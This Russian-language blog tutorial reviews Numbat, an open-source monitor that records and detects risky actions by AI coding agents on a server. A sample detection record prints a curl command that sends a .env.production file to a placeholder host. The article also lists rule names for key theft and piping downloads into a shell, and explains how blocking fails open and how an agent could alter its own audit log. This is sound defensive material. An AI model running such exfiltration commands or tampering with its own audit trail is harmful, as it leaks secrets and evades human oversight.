SSD Nodes Learn 🎉 VPS от $4.99/мес
Руководства Matt ConnorАвтор: Matt Connor

Numbat: что AI-агент делает на вашем сервере

Perplexity открыла Numbat, монитор endpoint для AI-агентов. Он записывает действия на сервере, но не блокирует чтение SSH-ключей и передачу данных в shell.

Что такое Numbat

Numbat позволяет видеть, какие действия выполнил AI-агент на принадлежащей вам машине. Он читает callback-функции hook и файлы сессий, которые уже создают агенты для работы с кодом, нормализует их в единый формат событий и сопоставляет их с правилами, срабатывающими при таких действиях, как чтение закрытого ключа SSH или передача загруженных данных напрямую в shell. Perplexity выпустила Numbat как ПО с открытым исходным кодом по лицензии Apache 2.0. Первый релиз с тегом состоялся 29 July 2026.

Всё ниже взято из репозитория проекта и его документации, изученных 2 August 2026. Если Perplexity делает какое-либо утверждение, в этой статье это указано. Это не инструкция по установке, поскольку репозиторию всего несколько дней, и его команды будут меняться.

Проблема: никто не записывает действия агента

Агент, выполняющий код на вашем VPS, запускает команды оболочки, читает и записывает файлы, а также открывает сетевые соединения от имени пользователя, которому вы его передали. История оболочки ничего из этого не фиксирует, потому что агент не вводит команды в вашу оболочку. sshd регистрирует ваш вход и ничего из того, что модель решила сделать после этого. /var/log/auth.log не фиксирует события, если только какой-либо процесс не обратился к sudo. Агент ведет собственную стенограмму, но этот файл находится в каталоге сеанса агента, его формат меняется между выпусками, а сам процесс агента может записывать в него данные.

Поэтому, если кто-то спрашивает, читал ли агент .env.production во вторник на прошлой неделе, честный ответ для большинства серверов таков: это невозможно определить. Именно для устранения этого пробела создан данный проект.

Что, согласно Perplexity, делает Numbat

README начинается с описания инструмента как средства «контроля активности AI-агентов на конечной точке с локальным обнаружением, необязательной блокировкой перед выполнением действия и реконструкцией для криминалистического анализа». Под конечной точкой здесь понимается машина, на которой работает агент, а не сетевое устройство, отслеживающее действия извне. Это отдельные возможности, и их значение различается.

Обнаружение выполняется на устройстве. Правила записываются на CEL (common expression language) и проверяются локально. Поверх них поддерживаются правила последовательностей из нескольких шагов, а также собственные правила в YAML. Для срабатывания правила данные не должны покидать машину.

Блокировка является необязательной и ограниченной. Она работает только через синхронные хуки перед выполнением действия и только для агентов, которые предоставляют такой хук. По умолчанию она отключена.

Реконструкция выполняется постфактум. numbat scan анализирует артефакты сеансов, которые агент уже записал на диск. Поэтому можно изучать активность, имевшую место до установки инструмента. Проект четко ограничивает это утверждение: «Реконструкция данных в состоянии покоя не является сбором данных с диска или из памяти и не может восстановить активность, которую агент не сохранил».

Результаты имеют версию и представлены в формате NDJSON (JSON с разделителями строк). Они включают события, результаты обнаружения, решения о применении мер, индикаторы и сводки сканирования. По состоянию на v0.1.2 используется версия схемы 0.2.0. Записи передаются в stdout или локальный файл, а также могут отправляться по HTTP на запущенный вами сборщик. Инструмент поставляется в виде одного статического двоичного файла Go, собранного без cgo, для macOS, Linux и Windows на amd64 и arm64. Поэтому на Linux VPS достаточно одного файла, и предварительно устанавливать среду выполнения не требуется.

Какие агенты Numbat действительно видит?

Матрица покрытия в docs/agent-coverage.md является официальным перечнем, но поддержка распределена неравномерно. В проекте это указано прямо. Для Claude Code, Codex, Gemini CLI, Cursor и GitHub Copilot CLI доступны сканирование артефактов и захват данных в реальном времени с хуком перед выполнением действия. Начиная с версии 2026.7.1, для OpenClaw доступен нативный плагин. Для большого числа других записей указано deferred. Это означает, что путь для хука в реальном времени существует, но анализатор артефактов отсутствует. Часто причина в том, что такой агент хранит историю в SQLite с журналом предзаписи, который небезопасно читать во время работы агента. На момент чтения матрицы 2 августа 2026 года в эту группу входили OpenCode и Cline.

Перед планированием использования этого инструмента проверьте строку своего агента. Термин «поддерживается» означает разное почти в каждой строке.

Как выглядит обнаружение

Правила имеют идентификаторы, которые указывают их назначение. secrets.read_private_key охватывает ключ SSH, учетные данные AWS, конфигурацию kube или данные для входа в реестр пакетов. exec.download_pipe_shell срабатывает, когда вывод curl или wget передается через конвейер интерпретатору. privilege.elevated_shell обнаруживает запрос интерактивной оболочки root через sudo, doas, su или pkexec. impact.cryptomining_launch сопоставляется с известными двоичными файлами майнеров и именами образов.

Последовательностные правила объединяют события в рамках одного сеанса. chain.secret_read_then_egress требует, чтобы за чтением секретного файла следовала команда, передающая данные наружу. В README ниже приведен результат обнаружения, полученный при контролируемом воспроизведении двух pre-action callback в Claude Code, а не в результате реального инцидента. Здесь оставлены только важные поля:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Обратите внимание на "confidence": "medium" внутри записи, а также на формулировку проекта о результатах этого класса в целом: «Результаты обнаружения — это совпадения с правилами, а не доказательство компрометации». Скрипт развертывания, который читает ключ, а затем отправляет артефакт сборки, будет соответствовать тому же правилу последовательности. Совпадение будет правильным, а тревога — ложной. Это обычное состояние любого инструмента обнаружения, который вы когда-либо запускали.

Блокировка по умолчанию отключена, а при сбое система пропускает действие

Все правила, которые выпускает Numbat, работают только в режиме мониторинга. Чтобы включить для правила блокировку, выполните отдельную настройку: скопируйте полный YAML этого правила в собственный каталог, сохраните тот же идентификатор, добавьте enforce: true, увеличьте версию, затем проверьте и установите эту политику.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Теперь о том, насколько можно ему доверять. Запрет Numbat — это ответ, передаваемый агенту. Именно агент фактически отклоняет вызов инструмента. В руководстве по применению прямо указано, что происходит при сбое самого Numbat: «Ошибки формата данных, соответствующие ошибки оценки, аварийные завершения и ошибки вывода подавляют ответ numbat deny». Размер входных данных для hook ограничен значением 4 MiB. Слишком большие входные данные обрабатываются таким же образом.

В руководстве также прямо указано ограничение запрета, который всё же был применён: «Fail-open означает, что numbat не передаёт ответ deny. Это не гарантирует выполнение инструмента: хост может по-прежнему запросить подтверждение, отклонить вызов, прервать операцию по тайм-ауту или применить другой hook либо политику».

Поэтому применяемая здесь защита — это предохранительный механизм, а не жёсткая граница. Если процесс завершается аварийно, Numbat не блокирует действие. Монитор, который при каждом сбое останавливает работу агента, удалят в течение недели. Такой компромисс обоснован. Но не создавайте модель безопасности, предполагающую, что ответ deny будет получен всегда.

Где Numbat находится относительно уже используемых средств

Numbat работает на конечной точке, внутри собственного дерева процессов агента, и по умолчанию записывает данные в ~/.numbat/records.ndjson. Агент, запущенный от имени вашей учетной записи, может читать этот файл. Он также может изменять его. Ценность журнала аудита определяется изоляцией, которая его защищает. Поэтому все уже настроенные средства контроля должны находиться перед Numbat, а не за ним.

Запуск агента программирования в одноразовой виртуальной машине ограничивает область, к которой может получить доступ вредоносный запуск. Учетная запись с минимальными привилегиями на VPS не позволяет агенту обращаться к файлам, которые ему не нужны. Исключение учетных данных из контекста агента позволяет считать совпадение с secrets.read_private_key достаточно редким, чтобы проверять его при срабатывании. А песочница, настроенная для Claude Code на VPS по-прежнему обеспечивает изоляцию.

Numbat добавляет журнал событий. Поэтому отправляйте этот журнал туда, куда агент не может получить доступ. Для этого предназначены numbat ship и HTTP-приемник. Копия потока на втором компьютере превращает файл журнала в свидетельство. Модель событий также содержит поля MCP (протокол контекста модели). Поэтому вызовы инструментов, проходящие через размещенный вами MCP-сервер на VPS, попадают в тот же поток, что и локальные команды оболочки. Это важно, потому что такой путь невидим для средств, которые отслеживают только bash.

Сначала выполните проверку только для чтения

Установите зафиксированную версию. Для go install требуется Go 1.26.5 или новее. На странице выпусков доступны готовые бинарные файлы с контрольными суммами SHA-256, если вы не хотите собирать программу из исходного кода.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents обнаруживает агентов, установленных на сервере. numbat scan разбирает уже сохраненные на диске артефакты сеансов и выводит записи. В README указано, что эти команды «не устанавливают хуки и не изменяют конфигурацию агента», а numbat «никогда не выполняет агентов или команды, найденные в артефактах, и отправляет исходящие запросы только настроенным HTTP-приемникам». Сканирование выполняется в режиме только для чтения с редактированием секретов. Обычный вывод записей никогда не содержит полной необработанной расшифровки.

Следующий этап — захват данных в реальном времени. Он изменяет конфигурацию агента:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all записывает события, результаты анализа, индикаторы и применимые решения о применении политик в ~/.numbat/records.ndjson. Проект содержит два важных предупреждения. Перед запуском хуки может потребоваться явно разрешить внутри агента. После изменения флагов, например --enforce, это разрешение необходимо проверить повторно. Кроме того, hook status «проверяет конфигурацию, а не выполнение или доставку». Поэтому строка о нормальном состоянии не доказывает, что записи куда-либо поступают.

Почему такой новый репозиторий не следует считать зависимостью

Публичные выпуски — v0.1.1 от 29 July 2026 и v0.1.2 от 1 August 2026. На момент написания этой статьи, 2 August 2026, у репозитория было 597 stars. Столь быстрый рост отражает аудиторию Perplexity, а не надежность кода. Star означает, что кто-то сохранил страницу, чтобы вернуться к ней позже.

Номер версии честно показывает текущее состояние проекта. В примечаниях к v0.1.2 в основном описаны исправления, связанные с удалением учетных данных, а также нормализация case bundle и telemetry. Ошибки удаления данных — ожидаемый тип ранних дефектов инструмента, который должен безопасно читать журналы работы других программ. Таких ошибок будет больше, поскольку входные данные поступают от дюжины агентов, каждый из которых самостоятельно меняет свой формат по собственному графику.

Из этого следуют два практических правила. Везде, где вы сохраняете результат, фиксируйте tag, а не @latest. И считайте этот инструмент объектом оценки, а не средством управления, от которого вы зависите, по крайней мере до тех пор, пока схема записей не перестанет меняться.

FAQ

Блокирует ли Numbat опасные команды AI-агента?

Только если вы явно включите эту возможность, и только в режиме best effort. Все правила, которые поставляются с Numbat, работают только в режиме мониторинга. Чтобы блокировать команды, скопируйте YAML-файл правила в собственный каталог, сохраните его id, добавьте enforce: true, увеличьте версию и установите hook с помощью --enforce. Даже после этого deny представляет собой ответ, переданный агенту, а отказать в вызове должен сам агент. В документации проекта указано поведение fail-open: некорректные payload, ошибки вычисления, panic и ошибки вывода подавляют deny. Используйте этот механизм как дополнительное ограничение, а не как единственную границу безопасности.

Какие AI-агенты поддерживает Numbat?

Набор поддерживаемых агентов различается. Он указан в docs/agent-coverage.md репозитория. На 2 August 2026 Claude Code, Codex, Gemini CLI, Cursor и GitHub Copilot CLI поддерживали сканирование артефактов и захват данных в реальном времени, а OpenClaw имел native plugin начиная с версии 2026.7.1. Для многих других агентов указан путь к live hook, но parser артефактов пока отсутствует. Обычно это связано с тем, что история сеанса хранится в базе данных SQLite, которую небезопасно читать во время работы агента. Изучите строку для своего агента, поскольку слово «поддерживается» в этой таблице обозначает несколько разных уровней поддержки.

Может ли агент изменить записи Numbat?

Да, если он работает от имени того же пользователя. По умолчанию записи хранятся в ~/.numbat/records.ndjson на том же компьютере, что и агент, поэтому любой процесс с правом записи в этот путь может изменить или удалить их. Передавайте поток данных в collector, недоступный агенту, используя numbat ship или HTTP sink, а локальный файл оставьте как дополнительную копию. Поэтому этот инструмент дополняет изоляцию, а не заменяет ее. Агент, ограниченный disposable VM и работающий от имени пользователя с минимальными привилегиями, имеет гораздо меньше возможностей изменить собственный audit trail.

Готов ли Numbat для production-сервера?

Не в качестве механизма контроля, от которого вы зависите. Первый публичный выпуск, v0.1.1, состоялся 29 July 2026, а v0.1.2 вышел 1 August 2026, поэтому flags и схема записей все еще изменяются. Запуск numbat agents и numbat scan на сервере выполняется только для чтения и сопряжен с низким риском. Он покажет, какие данные ваши агенты оставляют на диске. Установка enforcement hooks на важном сервере — другое решение. Для нее потребуется зафиксировать tag и подготовить план действий на случай некорректной работы hook.